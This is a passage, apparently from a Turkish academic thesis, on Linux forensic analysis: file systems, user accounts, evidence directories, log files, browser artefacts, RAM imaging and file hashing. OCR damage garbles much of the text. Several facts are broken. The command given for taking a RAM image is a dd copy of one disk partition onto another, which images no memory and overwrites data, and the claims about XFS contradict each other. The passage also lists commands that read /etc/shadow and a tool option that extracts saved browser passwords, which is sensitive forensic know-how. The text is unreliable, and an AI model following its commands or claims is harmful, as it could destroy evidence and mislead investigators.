olacagi tahmin edilmektedir [10]. Giincel kaynaklar ve raporlamalar sonucunda elde edilen veriler
ile sistemleri etkileyebilecek tehditler takip edilerek hizli cevap alinmasi gerekmektedir.
Sonug olarak, SOAR, EDR, IPS, IDS gibi giivenlik sistemlerinde uygun alarmlarin
olusturulmasi ve sistemlerin yeni kurallar aracilig1 ile yetkin bir sekilde izlenmesi saglanmalidir.
Sistemde bulunan kural tanimlamalar1 araciligi ile anormal durumlarin tespit edilmesi
saglanmalidir. Diizenli sekilde kural tanimlamalar1 kontrol edilerek yanlis pozitif (false positive)

alarm durumlar1 agisinda sikilagtirma ¢alismalari yapilmalidir.



3. LINUXISLETIM SiSTEMLERINDE ADLi ANALIiZ

Olay miidahale calismalar1 kapsaminda isletim sistemine gore yonetilebilirlik biiylik 6nem
tagtmaktadir. Adli analiz islemlerinde analistler, dijital kanitlarin kullaniminda mevcut durum ve
gelisen egilimlerle ilgili sonuclarini formiile ederler [11]. Giivenlik toplulugu kétii niyetli
kisilerle otuz yili agkin siiredir savasmakta ve kotii amagli yazilim siireglerini tespit etmek i¢in
caligmaktadir [12]. Dijital veri bigimleri artik birgok su¢ eyleminin sorusturulmasinda ve
suclanmasinda rol oynasa da, bu kanit tiirii i¢in tasarlanmig herhangi bir inceleme yonteminin
etkililigini engelleyebilecek araglarin ve siireglerin kullanimina iliskin artan endiseler vardir [13].
Sonugta ortaya cikan herhangi bir yorumun giivenilir olmasi i¢in dijital olaylarin yeniden
yapilandirilmasi, iddia edilen herhangi bir sugta kullanilan ortamla uyumlu olmasi gerekmektedir
[13][14].

Gelisen teknoloji diinyasinda, giinliik hayatta teknoloji ile i¢ ige olusumuz dolayisiyla her
tirlii elektronik alet ve cihazdan adli analiz islemleri miimkiin olmaktadir. Salgin hastaliklar gibi
giincel olaylar sirasinda video konferans uygulamalari ana iletisim yontemi olmaya devam
ettiginden, bu sistemler tarafindan iiretilen adli delilleri anlamamiz ve analiz etmemiz 6nemlidir
[15]. Dosya sistemleri dijital adli sorusturmalar sirasinda hayati bir rol oynar ve bu sekilde
toplanan adli kanitlar yasal islemler i¢in biiyilkk 6nem tasir [16]. Delillerin orijinal durumda
olmasinin bozulmasi konunun kovusturma evresine gelmesini engellemektedir ve bu saldirganlar
delilleri yok ederek, izlerini silerek sistemde kalic1 olmaya ¢alismay1 amaglamaktadir [17]. Anti-
adli bilisim kavrami, adli delil siirecini bozma ve edinme, analizi ve / veya kabul edilebilirligi
engelleme gibi durumlara sebebiyet vermektedir [18] .

Isletim sistemi 6zelinde adli analiz islemlerinin yam sira teknolojik cihazlar ve iiriinler
0zelinde dahil adli analiz iglemleri miimkiindiir. Modern akilli telefonlarda, sistem performanslari
cesitli temel alt sistemlerle siki sikiya iligkilidir.

Ozellikle, yillar i¢inde dahili depolama gok 6nemli hale geldi ¢iinkii sistemle ilgili igerige
erismek i¢in yogun bir sekilde kullanildi [19]. Veri kiimesi, saldir1 tespitinin analizi igin siber
givenlik arastirmalarinin  ¢esitli  alanlarinda  kullanilabilir, saldir1 senaryosu yeniden
yapilandirmasi ve saldirt gostergeleri olusturulabilir [20].

Linux isletim sistemleri, kendi tizerinde kurulu gilivenlik oOzelliklerine sahiptir ve
kullanicilarin kendilerini kotii amagli yazilimlara karsi korumalarina yardimer olma potansiyeline

sahiptir. Bununla birlikte, Linux igletim sisteminin de saldirganlara kars1 bagisikligi yoktur [21].



3.1. Linux Isletim Sistemi Yapisi

Linux isletim sistemi yiiklendigi cihazda kontrol saglayan bir yazilimdir. Isletim sistemi
yapisin1 bilmek, cihazlarin bir sisteme bagli olduklar1 ve bagli olduklari sistemde kullanilan
gecmis olaylar1 ve etkinlikleri yeniden yapilandirmaya yardimei olur.

Kernel, bir linux isletim sisteminin ana bilesenidir ve bir bilgisayarin donanimu ile ilgili
siiregleri yonetir. Shell ise kullanici ile bir isletim sistemi ¢ekirdegi arasinda bir arayiiz saglayan
bir programdir. Bir isletim sistemi icin kernel ve shell en 6nemli temel iki bilesendir. Isletim
sisteminde iki temel bilesenle beraber baska programlar da bulunur. Programlar, dosya sistemi ve

komutlar. Sekil 3.1°de isletim sistemi yapis1 belirtilmistir. [22].

Kullanici
(User)

o

v+ 31
-. lanici Arayiizi Uygulamalar ®
(User Interface) (Applications) E
lr f v 4+ ¢
Cekirdek 5
(Kernel) >

3 1

Sekil 3.1. isletim sistemi yapisi

Dosya Sistemi, genellikle isletim sisteminin altinda bulunan ve verilerinizin depolama alani
iizerindeki konumunu yoneten bir katmandir. Farkli kosullar altinda veri ¢ikarmak icin 6zel adli
teknikler ve beceriler gerekmektedir [13]. Linux dosya sistemine gomiilii FTP veya HTTP
sunucusu ile erigilebilir [23].

Bir dosya sisteminin yapisi isletim sisteminin verimi ve hizin etkilemektedir. Linux dosya

sistemi tiirleri asagida verildigi gibidir:
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Ext: Extended dosya sistemi, sanal dizinde depolanan dosyalar hakkinda bilgi veren inode
sistemi kullanir. inode sistemi, sanal dizin icerisinde depolanan dosyalar hakkinda iz olarak
adlandirilan yol bilgisi veren bir alan igerir. Dosya bilgisini saklamak i¢in her bir fiziksel aygit
tizerinde ayr1 bir inode tablosu olusturulur. Sanal dizinde depolanan her dosyanin inode
tablosunda bir girisi vardir. Her dosyada izlenen agagida veriler nedeniyle dosya sisteminin adina
Extended denilmistir.

e Dosya adi

e Dosya boyutu

e Dosyanin sahibi

e Dosyanin ait oldugu grup
e Dosya i¢in erisim izinleri

Linux, inode tablosundaki her bir inode, dosya sistemi tarafindan veri dosyalar1 yaratmakla
gorevlendirilmis 6zgiin bir inode numaras1 kullanilarak isaretlenir. Dosya sistemi, bir dosyay1
belirlemek inode numarasini kullanir.

Ext2: Ext dosya sisteminin temel yeteneklerinin genisletilmis halidir. Ext2 dosya sistemi,
sistemdeki her bir dosya hakkindaki inode tablo bigimini iz ek bilgisine genisletir.

Ext3: Giinlikk dosyasina sadece inode bilgisini yazar ve veri bloklar1 depolama aygitina
basarili bir bicimde yazilana degin bu bilgiyi silmez. Ext3 dosya sisteminde kullanilan
giinliikleme yontemi, komut satir1 islemi ile dosya sistemi olustururken veri ya da geri yazma
kiplerinden birine degistirilebilir.

Ext4: Ext3 dosya sisteminin genisletilmis halidir.

Btrfs: Disk yapilandirma ve disk iizerinden 6zet alma imkan1 saglar, Oracle tarafindan
gelistirilmistir. Performans olarak ¢ok giicliidiir.

JFS: JFS dosya sistemi, diizenli giinliikleme yontemini kullanir, glinliige sadece inode
tablosu verisini depolar, giincel dosya verisi depolama aygitina yazilincaya dek kaldirmaz. JFS
dosya sistemi depolama aygitina yazilan her bir dosya i¢in bir grup blok ayirarak depolama
aygitinda daha az par¢alanmaya neden olur. IBM tarafindan yapilan eski dosya sistemidir.

XFS: Eski dosya sistemidir ve kiicliik dosyalarla yavas calisir. XFS dosya sistemi geri
yazma kipi giinliiklemeyi kullanir, giincel veri giinliikleme dosyasina kaydedilmedigi i¢in bazi
riskler tasir.

Linux sistemlerde giinliikleme (journaling) 6zelligi, bilgisayar iizerinde yapilan iglemlerin
loglarinin bagka bir yerde tutulmasini saglar. Bu 0&zellik sayesinde yapilan son islemlere
ulasilabilir. Herhangi bir sistem ¢dkmesi durumunda, sistemde yapilan son igslemlere ulasilip bu
islemlerin tekrarlanmasiyla verilerin kaybedilmemesi saglanir. Saldirganlar ilgili sistemlerden
elde ettikleri bilgileri yedekledikten sonra sisteme zarar verebilirler. Linux isletim sisteminde

kullanilan en kararli ve saglam giinliikleme sistemi XFS dosya sistemidir. Giinliikleme
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seceneklerinden metadata giinliikleme Ozelliginde ise, sadece sistemde yapilan degisiklikleri,
giinliik i¢cerisinde metadata ad1 verilen dosyalarin icerisinde saklar.
Linux/Unix dosya sistemine dosya eklemek i¢in yapilmasi gereken ii¢ adim soyledir:
e Dosyanin bulundugu diigiimiin (inode) igerisindeki dosyanin biytikliigiini
arttirmak
e Dosyanin eklenecegi alanda olabilecek genisleme i¢in yer ayirmak
e Eklenecek dosyanin, yeni ayrilmis alana yazilmasi
Metadata giinliikleme olayinda, bu figiincii basamak loglarda tutulmaz. Eger igiincii
basamak gergeklesmeyip birinci ve ikinci basamak kurtarma islemi sirasinda tekrarlanirsa,

dosya ¢opliige atilir.

3.1.1. Linux Isletim Sistemlerinde Kullanici ve Grup Yénetimi Yapilandirmasi

Linux isletim sistemleri iizerinde calisan uygulamalarin bircogu, sistemle etkilesime
gecmek ve islemleri yiiriitmek icin kullanicilar olustururlar. Ornegin Oracle Veritabani
sunucusunun “oracle” adinda bir kullanicis1 mevcuttur. Sistemde olusturulan her bir kullanict
adiyla birlikte birde, bu kullanict admma uygun grup olusturulur. Linux igletim sisteminde
varsayilan ayar olarak kullanicilar kendi isimlerine uygun gruplara iiye yapilirlar. Cesitli gorevleri
yerine getirmek ic¢in kullanicilardan bagimsiz gruplar da olusturulabilir. Kullanicilar burada
bulunan yetkilendirme durumlarini ihlal ederek sistemlere girmeye calismaktadir. Saldirganlar
yetki fazlalig1 bulunan gruplar1 hedef almaktadir.

Kimin hangi bilgilere erisecegini kontrol edebilmek kritiktir, giivenlik kontrolii ve hatta
yasal bir gereklilik olabilir. Kullanici hesaplariin siirlandirilmasint korur bilgilenir ve ayni
zamanda sistemin kendisini hem kétiilikkten hem de basit¢e korur hatalar [24].

Bir bilgisayar sisteminin kirilmasinda izlenen yollarmn biiyiik cogunlugu, makine iizerinde
gecerli bir kullanici hesabina sahip olunmasindan geger. Giivenlik agiklarindan faydalanmayi
amaglayan kotii niyetli kisiler bu sunucu {izerinde bulunan hesaplardan bir tanesini eline
gecirdiginde isi biiylik Olglide kolaylagsmaktadir. Bu nedenle ana makine iizerindeki biitiin
sifrelerin en az root kullanicinin sifresi kadar iyi korunmasi gereklidir. Minimum karakter sayisi
giincel yayilanan degerlere gore 12 olmali ve 42 giin igerisinde degisim yapilmak zorundadir.

Linux isletim sistemde kullanilan sifrelerin genel 6zelliklerini kisitlamak miimkiindiir.
Bunun igin “/etc/login.defs” dosyasinda minimum password degerini giincellemek yeterli
olacaktir.

Kullanici parolalarinin diizenli olarak degistirilmesi ve PAM gibi ¢ozlimlerle saglanabilir.

Parolalar1 bos olan kullanicilar ortamdan kaldirilmalidir.
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3.1.2. Kullanic1 Yonetimi Etcpasswd Yapisi

Bir cihaz farkli kisgiler tarafindan kullanildigi durumlarda, kullanicilar arasinda ayrim
yapmak gereklidir. Kisiye 6zel islemlerin gerekli dizinler i¢inde depolanmasi ve ayristirilmast
uygun olmaktadir. Sonugta, her kullanici i¢in farkli bir kullanici ismi verilir ve herkes sisteme
baglanmak i¢in kendi ismini kullanir. Ayni zamanda bir¢ok kullanicinin yetkilerinin topluca
belirlenmesi gerektiginde grup hesaplart kullanilmaktadir. Gruplar, kendisine dahil olan
kullanicilarin gruba verilen haklardan yararlanmasini saglar. Grup yetkilendirmeleri kendi grup
yapisinda onemlidir. Grup hesaplar1 ayni zamanda kullanici hesaplar1 gibi dosya ve dizinlere
erigim ve sistem ayarlarinin yapilabilmesi i¢in gerekli tanimlamalara olanak saglar.

Kullanicilarin birden fazla gruba {iye olmalar1 miimkiindiir. Boylelikle birka¢ grubun
haklarindan yararlanabilirler. groups komutu kullanilarak, etkin kullanicinin hangi gruplara iiye
oldugu goriilebilir. Unix / Linux sistemlerde kullanici veri tabam “passwd” dosyasinda bulunur.
Linux isgletim sistemleri iizerinde pek ¢ok 6n tanimli kullanici gelir. Ancak bunlardan sadece
“root” kullanicist sisteme interaktif shell baglantisi kurabilir. Bu da Unix sistem yoneticilerinin
eskiden beri uyguladig1 gegersiz 6ntanimli shell ayari ile saglanir.

Kullanicr yonetimi i¢in kullanilan komutlar “useradd”, “usermod” ve “userdel” dir. Bu
komutlar “/etc/passwd” dosyasinda girdiler olusturur ve bu girdileri diizenler. “passwd” ve
“shadow” dosyalar1 hakkinda ayrintili agiklamay1 yazimizin devaminda bulabileceksiniz.

“/etc/passwd” dosyasinda tanimli 6n tanimli shell uygulamalarini inceleyebiliyoruz. Sanal
sistemlerde, Grep, normal bir ifadeyle eslesen satirlar lizerinde diiz metin aramak i¢in kullanilir.
Parametre olarak “:0:” kullanilir.

Bir saldirganin saldir1 gergeklestirmek iizere herhangi bir gegici kullanici olusturup
olusturmadigimi belirlemek i¢in “find / -nouser -print” komutu kullanilarak olusturulan
kullanicilar listelenir.

Donanimda bulunan CPU yani merkezi islem birimi, ya da kisaca islemci, RAM yani

bellek ve diger disk, network aygit1 gibi gevresel aygitlar1 yonetir.

3.1.3. Linux fsletim Sistemlerinde Temel Delil Dizinleri

/ete: Konfigiirasyonlarin tutuldugu ana dizindir. Her bir uygulama i¢in konfiglirasyonlar
ayrt klasorde tutulur. Windows isletim sistemlerinde karsiligi olarak SYSTEM, SAM,
SECURITY dosyalarin tutuldugu C:\Windows\System32\config dizinine karsilik olmaktadir.

/var/log: Isletim sistemi icin birincil loglama dizinidir. Uygulama ve sistem loglari

saklanir. Windows karsiligr C:\Windows\System32\Winevt\logs olarak diisiiniilebilir.
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/home/$USER: Kullanici verisi ve kullaniciya 6zel konfigiirasyonlarin saklandigi dizindir.
Windows'daki %userprofile% olarak diisiiniilebilir. Root kullanicisi i¢in /root dizinidir.

Cihaz iizerinde ¢alisan anormal servisleri goriintiilemek icin “service —status -all” komutu
kullanilmaktadir.

Sisteminizdeki biiyiik boyutlu dosyalar sistem giivenligi agisindan biiyiik rol oynamaktadir
ve bunlarin izinlerini vermek dosyalar iizerinde yetkilendirmeler yapmak, hedefleriyle birlikte
tanimlamalarim girmek gerekmektedir. Biiyiik boyutlu dosyalar sisteme brute force saldir1 etkisi
yaratmaktadir. “find /home/ -type f -size +512k -exec Is -lh {} \;” komutu ile sistemde olusan
biiyiik boyutlu dosyalar tanimlanabilmektedir.

Bir olay miidahale siirecinde sistemde mevcut olan anormal bir dosyay1 goriintiilemek i¢in
“find / -mtime -2 —Is”

$PATH, isletim sistemi {izerinde kabuga yiritiilebilir dosya ig¢in hangi dizinleri
arayacagmi soyleyen bir dizin listesi goriintiiler. Dosyalar ve ilgili dosyanin bulundugu dizin
bilgisinin elde edilmesi i¢in “echo $PATH” komutu kullanilmaktadir.

Tablo 3.1°de Linux sistemlerde bulunan adli analiz islemlerinde kullanilabilecek temel

delil dizinleri gosterilmistir.

Tablo 3.1. Linux sistemlerde temel delil dizinleri

Delil Dizini Tespit Alam

cat /etc/resolv.conf Domain Name Server adreslerini gosterir.

cat /etc/hosts Host tanimlar1 mevcuttur. Buradaki tanimlar resolv.conf igerisinden daha
detaylidir.

cat /etc/shadow Parola hash'leri tutulur.

cat /etc/group Grup tyelikleri listelenir.

cat /etc/sudoers Yonetici hakli kullanicilar gosterir.

/proc dizini; siire¢ kontrollerini ve diger sistem bilgilerini tutan dosya sistemi. Bu dosya
sistemi disk tlizerinde yer kaplamaz, tiim dosyalar ¢ekirdegin bir uzantisi seklinde tutulmaktadir.

Proc temel delil dizini altinda elde edilebilecek bilgiler Tablo 3.2’de sunulmustur.
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Tablo 3.2. /proc dizini bilgisi

Delil Kontrol Alam

Devices Hazirda ¢alisan ¢ekirdek i¢inde destegi bulunan aygit siiriiciilerini listeler.
Dma Hangi DMA kanallarinin kullanildigini belirtir.

Filesystems Hazirda ¢alisan ¢ekirdek iginde destegi bulunan dosya sistemlerini listeler.
Ports Halen hangi giris/¢ikis iskelelerinin kullanildigini belirtir.

Kcore Sistem hafizasinin goriintiisii

Cpuinfo Islemci modeli, tipi ve performansini bildirir.

/proc/mounts dosyasini olay miidahale sorumlusu olarak, cihazda bilinmeyen bir ekleme
olup olmadigini kontrol etmek i¢in cihaz {izerinde bulunan mevcut olan ve var/log dizini altinda
bulunan dosyalar1 “cat /proc/mounts” dizini igerisinde tespit edebiliriz.

/proc/iomem: Fiziksel adreslerin cihazlarin bellegiyle eslestirilmesini igerir.

/boot/system.map ve proc/kallsyms; bu iki dosya adli depolama i¢in 6nemlidir, ¢iinkii
bunlar tim global degiskenlerin adreslerini ve o anda ¢alisan ¢ekirdegin disa aktarilan
yontemlerini igerir. Isletim sistemi hakkinda bilgi elde etmek igin “cat cpuinfo” komutunu
kullanilabilir. Sekil 3.2°de bu duruma 6rnek gosterilmistir. Isletim sisteminde kag islemci oldugu,
isletim sistemi modeli, cpu leveli, cpu core degerleri gibi alanlar belirlenmektedir. Adli delillerde

isletim sisteminin 6zellikleri ile tehdit tiirliniin eslesmis olmasi gerekmektedir.

—! )-[/proc]

% cat cpuinfo

processor )

vendor_id :

cpu family

model T 24

model name : AMD Ryzen 5 3500U with Radeon Vega Mobile Gfx
stepping -

microcode : P=8188109

cpu MHz : 3

siblings

core id

cpu cores
apicid

initial apicid

Sekil 3.2. CPU bilgisi

Saldirgan izlerini takip etmek amaciyla Isletim sistemi hakkinda isletim sisteminin ne

zamandan beri acik olduguna dair saniye cinsinden deger verebilir. Ayn1 zamanda ikinci segenek
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olarak tarih bazinda bilgi elde edilebilir. Her iki secenek igin ekran goriintiisii Sekil 3.3’de

verilmistir.

|- fproc]

17:44:32 up 7 min, 1l user, load average:

Sekil 3.3. isletim sistemi bilgileri

Linux platformunda canli hafiza analizi yapilirken, bellekteki yap1 diizeni bilgilerinin kesin
bilgisini gerektirir, genellikle derleme zamaninda olusturulan sembollerin hata ayiklamasiyla elde
edilir [26]. Her bir adli delili goriintiileyebilmek igin ayr1 bir dosya incelenebilir, Linux sistemde
her bir dosya sisteminin ve dizin yapisinin igerisinde adli artifact degerleri bulunmaktadir. Sistem
iizerine takilan USB bellekleri goriintiilemek i¢in 6rnek olarak asagida gosterildigi gibi bir islem
yapilir. Saldirganlar USB bellek araciligi ile sisteme kalicilik birakarak, cihaz her agildiginda
saldirganin bilgi toplamasi gerekli alanlardan bilgi toplanmasi islemleri devam etmektedir.
“Ifconfig —a” komutu ile sisteme entegre cihazlarm listesi elde edilebilir.

S6z konusu saldirgan tarafindan etki altina alinmis makine ile baska hangi makineler
iletisim kurmaktadir, sistemde siipheli ag baglantilarinin analiz edilmesi, makine internete agik bir
ortamda bulunuyor ise detayli analiz edilmesi, makineye yapilan siipheli bir dinleme ve tarama
aktiviteleri bulunuyor mu detayli analiz edilmesi gerekmektedir. Basarili, bagarisiz paket detaylari

dizin bilgileri gibi bilgiler Sekil 3.4’de gosterilen ¢iktida bulundugu gibidir.

LISTENING

LISTENING
LISTENING
LISTENING
LISTENING
LISTENING

LISTENING

CONNECTED

CONNECTED 9

fale]] ED 7366 35 /run/user/1@@8/bus
CON ED

CON ED

CON 3 i

CON ) 7187 s—daemar /runfuser/10@0/bus

Sekil 3.4. Siipheli baglantilarin incelenmesi

3.1.4. Linux Sistemlerde Log Dosyalar

Linux sistemlerde log dosyalar1 olusan saldir1 aktivitesinin agiga kavusturulmasi

konusunda biiylik 6nem tasimaktadir. Adli incelemelerde sistem {izerinde bulunan erigim loglar
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kaynak parametreleri, kalici gorev diizenlemeleri, user ve grup loglari, kaynak parametreleri,
kullanict ge¢mis loglari, giivenlik loglar1 ve parametreleri, error loglari, adli incelemeler
yapilirken sistemde yapilan giris tarihleri ¢ok Onemlidir. Sonug¢ olarak sistemde adli analiz
yapilabilmesi amaciyla log dosyalar1 4 ana baslik icerisinde degerlendirilmektedir. Uygulama
Loglari, Olay loglari, Sistem loglar1 ve Servis loglaridir.

Kullanict oturum bilgileri, mail sunuculart kalicilik mekanizmalari, giris denemeleri gibi
bilgiler Linux igletim sisteminde sistem igerisinde alinan loglama yapisinin kullanilmasi ve
kaynak bilgilerinin detayli olarak elde edilmesi sonucunda bulunmaktadir.

Sisteme yapilan giris denemeleri, yetkisiz kullanici tarafindan yapilan girisler gibi konular
tespit edildiginde, sistemde Onleyici ¢alismalar anlik olarak ilerletilmektedir. Linux sistemlerin
tutmus oldugu wtmp ve btmp dosyalart ile bu bilgiler elde edilebilir.

Wtmp: Giris yapilan zaman bilgisi ve hangi kullanicidan giris yapildig: tarih ve saat bilgisi
ile verilir.

Btmp: Dosyasi ile en son ne zaman sistemde basarisiz giris yapildig1 tarih ve saat bilgisi
ile verilir.

Web iizerinden erisim loglari, error loglari, mail loglart gibi dosyalar ve igeriginde bulunan
bilgiler adli biligim caligmalar1 kapsaminda degerlendirilerek nihai sonug ve sorunun kok sebebi
elde edilmektedir. Log dosyalarinin anlamlandirilarak raporlama yapilmasi ve saldirgan takibinin
yapilmasi ve olasi tehditlerin agiga ¢ikarilmasi konusunda elzemdir.

Linux sistemlerde log dosyalar1 var/log dizini altinda bulunur. Tablo 3.3’ de Log

dosyalarinin gorevi goriintiilenmistir.

Tablo 3.3. Linux sistemlerde log dosyalar1 ve igerdigi bilgiler

Log Dosyas1 | Gorevi

messages Sistem baglangicl/ sistem loglari tutar.

lastlog Son kullanicr girislerini ve zaman bilgisini tutar

cron Zamanlanmis gorevlere ait tiim log bilgisini tutar.

secure Kimlik dogrulama yetkiler ve giivenlik ile alakali tiim loglarin tutuldugu alandir.
Dmesg Bilgisayar agildig1 andan itibaren ¢ekirdek dosyalarin yazildigi bir yapi.

maillog Sistem {izerinde ¢alisan mail sunucusuna ait loglar yer alir.

Syslog Isletim sistemi hatalarini ve uyarilarini takip eder.

Auth.log Basarisiz oturum girisleri kullanici yetkilendirme mekanizmalari

18



3.1.5. Linux Sistemlerde Tarayic1 Kayitlar

Web tarayici kullanarak 6n bilgi edinme ya da olaya ait iz birakan alanlardan 6n aragtirma
yapilmasi her isletim sisteminde biiyiik 6neme sahiptir. Linux isletim sistemlerinde de tarayici
analizi yapilarak detayli bilgi elde edilebilir. Tablo 3.4° de tarayici analizinde ilgili adli delillerin,

lokasyonlar1 bulunmaktadir.

Tablo 3.4. Linux sistemlerde tarayici gegmisi tanimlamalari

Tarayict Delil Dizini
Firefox /home/$USER/.mozilla/firefox/*.default
Chrome /home/.config/chromium/Default

Suclunun hangi tarihte hangi URL adresine erismek istedigi ve giris yaptig1 bilgisi elde
edilerek ve bununla birlikte ¢erez bilgilerini bulundurmaktadir. Asagida gosterildigi gibi Linux
sistemler {izerinde yer alan bazi araclar ile (dumpzilla) tarayici iizerinde kayith sifreler, etiketler,
indirilenler, tarayici gecmisleri gibi bilgiler elde edilebilir. Sekil 3.5°de detaylar1 gosterildigi gibi
Dumpzilla araci ile tarayici izleri araciligi ile saldirgan aktivitelerinin tespit edilmesi ve analiz

edilmesi sonucunda ige yarar bilgiler elde edilebilir.

usage: python dumpzilla.py PROFILE_DIR [OPTIONS]

-—Addons

——Search

—Bookmarks [-bm_create_range <start> <end>][-bm_last_range <start> <end>]

—Certoverride

-—Cookies [-showdom] [-domain <string>] [-name <string>] [-hostcookie <string>] [-access <date>] [-create <date>]
[-secure <0|1>] [-httponly <@|1>] [-last_range <start> <end>] [-create_range <start> <end>]

——Downloads [-range <start> <end>]

—Export <directory> (export data as json)

—Forms [-value <string>] [-forms_range <start> <end>]

——Help (shows this help message and exit)

——History [-url <string>] [-title <string>] [-date <date>] [-history_range <start> <end>] [-frequency]

—Keypinning [-entry_type <HPKP|HSTS>)

—O0fflineCache [-cache_range <start> <end> -extract <directory>]

—Preferences

--Passwords

Sekil 3.5. Dumpzilla araci ile elde edilebilecek bilgiler
Ornek olarak saldirgan sisteme erismis ve zararli yazihm indirmis, birtakim zararh

yazilimlar kullanarak sisteme zarar vermeyi yedekleme yapmayi dosya transfer etmeyi

hedeflemis olabilir. Olas1 tiim senaryolarin degerlendirilmesinde fayda bulunmaktadir [25].
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3.1.6. Linux Memory (RAM) Forensics

Ram gecici bellektir ve icerisinde kritik bilgiler barindirir. Canli bir sistemden ram
kopyasinin alinmasi olduk¢a 6nemlidir ¢iinkii saldirganinin kaydedilmemis dosyalar1 bu alanda
yer alabilir. Tarayic1 bilgileri acik ag baglantilari, parola bilgileri sosyal medya kalintilar1 gibi
islemler Ram bellek igerisinde bulunan alanlarda depolanabilir.

Diskin ne kadarnin aktif oldugunu “cat meminfo” komutu ile proc dizininden elde
edebiliriz. Diskte yeteri kadar alan varsa FMEM, LIME, dd ve d3dd gibi araglar ile Linux
sistemlerden hafiza analizi yapilabilir. LIME uygulamasi ile Ram imaji1 alinma asamasi i¢in

ornek goriintii Sekil 3.6° da verilmistir.

-[~/Desktop/LiME-master |
=9 diy
oc LICENSE README.md src

| ~/Desktop/LiME-master ]

-| ~/Desktop/LiME-master/src

ilesystem Size Used Avail Use% Mounted on

dev 954M 0 954M 0% /dev

mpfs 198M 1.2M 197M 1% /run

dev/sdal 786G 9.9G 64G 14% /

mpfs 988M 113M 876M 12% /dev/shm

mpfs 5.0M @ 5.0M 0% /run/lock

mpfs 198M 68K 198M 1% /run/user/1000

| ~/Desktop/LiME-master/src |
dd if-/dev/sdal of-/dev/sda2 bs-5M conv-error

Sekil 3.6. LIME ile RAM analizi

RAM imajinin alinmasi i¢in “dd if-/dev/sdal of-/dev/sda2 bs-SM conv-noerror”
komutu ile yapilmaktadir.

Ayni zamanda Volatilite gibi araglar mevcut bellek {izerinde dosya sistemlerine, her analiz
gorevi i¢in yalnizca isletim sistemi tiiriinii desteklemek iizere tasarlanmig zorluklar sunar [26].

Miidahale edilen canli sistemler ile ram analizi, ram boyutlarinin artmis olmasi adli
incelemelerde ram iizerinde tutulan bilgilerin ¢ok 6nemli deger tasimasi ile ram iizerinden adli
vaka incelemenin 6nemi giderek artmistir. Ram gecici bir bellektir. Sistem kapatilinca bilgiler
ucar bu nedenle kaydedilmemis dosyalar, sosyal medya kalintilari, tarayici kalintilarn arka planda
calisan siiregler ve parola bilgileri gibi siirecleri elde etmek amaciyla RAM imaj1 biiyiikk 6nem

tasimaktadir.
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4. LiNUX SISTEMLERDE DERIN ANALiZ ISLEMLERI

4.1. Zaman Bilgisi

Enfekte sistemin analiz edilmeye baslamasi durumunda oOncelikle analist igin Onemli
zaman dilimi tarih bilgisidir. Sekil 4.1’de gosterildigi gibi tarih bilgisi, bilgisayarn en son ne

zaman agildigi konusu gibi bilgiler analist i¢in yol gosterici ipucu bilgiler tagimaktadir.

~/Desktop/LiME-master/src

June 2022
U Mo Tu We Th Fr Sa
1 2 3 4
51 6078 80 940 11
1201373451516 17 18
19 20 21 22 23 24 25
26 27 28 29 30

[~/Desktop/LiME-master/src |

at 18 Jun 2022 11:09:31 AM EDT

~/Desktop/LiME-master/src

11:09:43 up 54 min, 1 user, load average: 0.04, 0.09, 0.07

Sekil 4.1. Memory imaj1 alinmasi

4.2. Tsletim Sistemi Linux Cekirdek Bilgisi

Enfekte olan sistemin igletim sistemi ¢ekirdek yapisi iizerinde kullanilacak giivenlik ajan
programlarinin kurulmasim etkilemenin yaninda incelenen sistemin en son ne zaman kuruldugu
bilgisini tarihsel olarak tagimaktadir. Bu tarih isletim sisteminin ilgili zararli aktiviteyle alakali
giincel olup olmamasi veya zararli dosyanin sistemin kurulumundan Once bir tarihte isletim
sistemi iizerinde bulunmasi gibi detaylar DFIR analistine 6nemli bir bilgi tasimaktadir. Uname -a
komutu ile “Linux siftworkstation 5.4.0-77-generic #86-Ubuntu SMP Thu Jun 17 02:35:03 UTC
2021 x86 64 x86 64 x86 64 GNU/Linux” gibi isletim sistemi bilgilerinin detayli bilgi elde
edilebilir.



4.3. Dosya Biitiinliigii (Hash Bilgisi)

Enfekte oldugu diisiiniilen sistem {iizerinde detayli incelemeler yapilmasi adina sistemde
bulunan tiim dosyalar diizenlenir. ilgili dosyalarm hash degerleri gerekli kaynaklardan
arastirilarak sistemde anormal durum tespiti yapilabilir. Hash o6zeti degismez ve dosyanin
benzersiz bir 6zet degerini olusturur. Sistem {izerinde bulunan dosya ve dizinlerin takip edilmesi,
kalict bulunan saldir1 parametrelerinin kontrol edilmesi agisindan kritik 6nem tasimaktadir. “find
Jete/ type £’ komutu ¢ahstirilabilir. Sekil 4.2°de dizin altinda bulunan dosyalar belirlenmistir. Tlgili

dosya ve dizinler kontrol edilerek siipheli dizin ve dosyalar detayli olarak incelenmelidir.

—( )-[~]

L find /fetc/ 3
/etc/nsswitch.conf

find: ‘/etc/vpnc’: Permission denied
/etc/gshadow-

/etc/services

/etc/gtk-2.0/gtkrc
/etc/gtk-2.0/im-multipress.conf
/etc/python3.9/sitecustomize.py
/etc/NetworkManager/NetworkManager.conf
/etc/NetworkManager/dispatcher.d/ntp
/etc/NetworkManager/dispatcher.d/01-ifupdown
/etc/NetworkManager/system-connections/Wired connection 1
/etc/ipp-usb/ipp-usb.conf
/etc/nikto.conf

/etc/issue.net

/etc/magic.mime
/etc/geoclue/geoclue.conf
/etc/bash_completion.d/git-prompt
/etc/debconf.conf

/etc/pulse/system.pa

Sekil 4.2. Siipheli dizin igerisinde bulunan dizinleri goriintiileme

Dosya dizinlerde hash bilgisi, 6zellikle canli analiz yapilirken tespit edilmektedir. Canlt
sistem {izerinden imaj alinmayacaksa sistem {izerinde slipheli bulunan dosyalarin hash degerleri
tespit edilerek tehdit istihbarat servislerinden (Viriis Total, Abuse IP) arastirilir zararli dosya
hakkinda detayli bilgi elde edilir. Siipheli dosya ve dizinlerde bulunan dosyalarin hash degerlerini
tespit etmek amaciyla Tablo 4.1°de belirtilen komutlar kullanilmaktadir.
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Tablo 4.1. Siipheli dosyalarin Hash bilgilerinin tespiti

Komut AMAC

find /etc type f | xargs md5sum | head Dosyanin MDS5 hash degerini tespit etmek.

find /etc type f | xargs sha256sum | head Dosyanin SHA256 hash degerini tespit etmek.

hfind —i <indeks_tipi> <hash_veritabani1_dosyasi> Verilen indeks tipine gore hash tespiti
yapmak.

Sekil 4.3’de dosyalarin hash degerleri bulunmaktadir. Belirlenen hash degerleri tehdit
istihbarat platformlarindan arastirilarak zararli yazilim tespitleri yapilmaktadir.

eB25df42c9c8577dbeded7oc4070fd1e Jetc/fstab
